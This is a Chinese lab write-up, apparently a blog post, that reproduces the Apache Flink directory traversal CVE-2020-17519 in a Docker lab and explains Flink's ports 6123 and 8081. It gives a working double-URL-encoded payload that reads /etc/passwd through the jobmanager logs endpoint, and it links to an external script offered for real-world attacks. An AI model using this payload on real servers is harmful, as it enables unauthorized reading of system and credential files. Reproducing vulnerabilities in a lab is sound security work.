Apache Flink目录遍历漏洞复现CVE-2020-17519

发布时间 2023-08-15 11:54:46作者: admin_hello

Apache Flink目录遍历漏洞复现CVE-2020-17519

前置知识

Apache Flink:

Apache Flink 是一个框架和分布式处理引擎,用于在无边界和有边界数据流上进行有状态的计算。Flink 能在所有常见集群环境中运行,并能以内存速度和任意规模进行计算。

漏洞利用条件:

Apache Flink版本为1.11.0或者1.11.1或者1.11.2

漏洞利用payload:

http://192.168.40.148:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%
252f..%252f..%252f..%252fetc%252fpasswd

靶场搭建

find ./ -name *CVE-2020*
docker-compose up -d
docker ps  # 查看端口

![image-20230815011206514](Apache Flink目录遍历漏洞复现CVE-2020-17519.assets/image-20230815011206514.png)

![image-20230815011846642](Apache Flink目录遍历漏洞复现CVE-2020-17519.assets/image-20230815011846642.png)

得知两个端口:6123 和 8081

两个端口有什么作用?
Apache Flink的6123端口用于Flink的远程通信和管理,主要用于与 Flink 集群中的 JobManager 通信

JobManager 是 Flink 集群的主要协调节点,负责接收和调度提交的作业(jobs),管理任务的调度和执行,并提供了 REST
接口供用户和外部系统与 Flink 集群进行交互。

通过 6123 端口,您可以使用 Flink 的 REST API 与 Flink 集群进行交互,例如提交作业、查询作业状态、获取作业详情
等操作。这是与 Flink 集群进行远程管理和监控的入口之一。

Apache Flink的8081端口用于Flink的Web UI界面的和REST接口

Flink 的 Web UI 提供了一个用户界面,允许您监控和管理正在执行
的作业、任务、JobManager 和 TaskManager 的状态等。此外,8081 端口还提供了 Flink 的 REST API,允许您通过
HTTP 请求与 Flink 集群进行交互,例如提交作业、查询作业状态、获取作业计数等。

本次打的是提供UI的端口,即8081端口

漏洞利用

访问8081端口:

![image-20230815012016962](Apache Flink目录遍历漏洞复现CVE-2020-17519.assets/image-20230815012016962.png)

既然是目录遍历,那就直接上payload:

http://192.168.40.148:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%
252f..%252f..%252f..%252fetc%252fpasswd

![image-20230815012812036](Apache Flink目录遍历漏洞复现CVE-2020-17519.assets/image-20230815012812036.png)

成功读取文件

实战中可使用脚本:https://wwwg.lanzouk.com/iD5Q315em7gb

使用效果:

![image-20230815014006798](Apache Flink目录遍历漏洞复现CVE-2020-17519.assets/image-20230815014006798.png)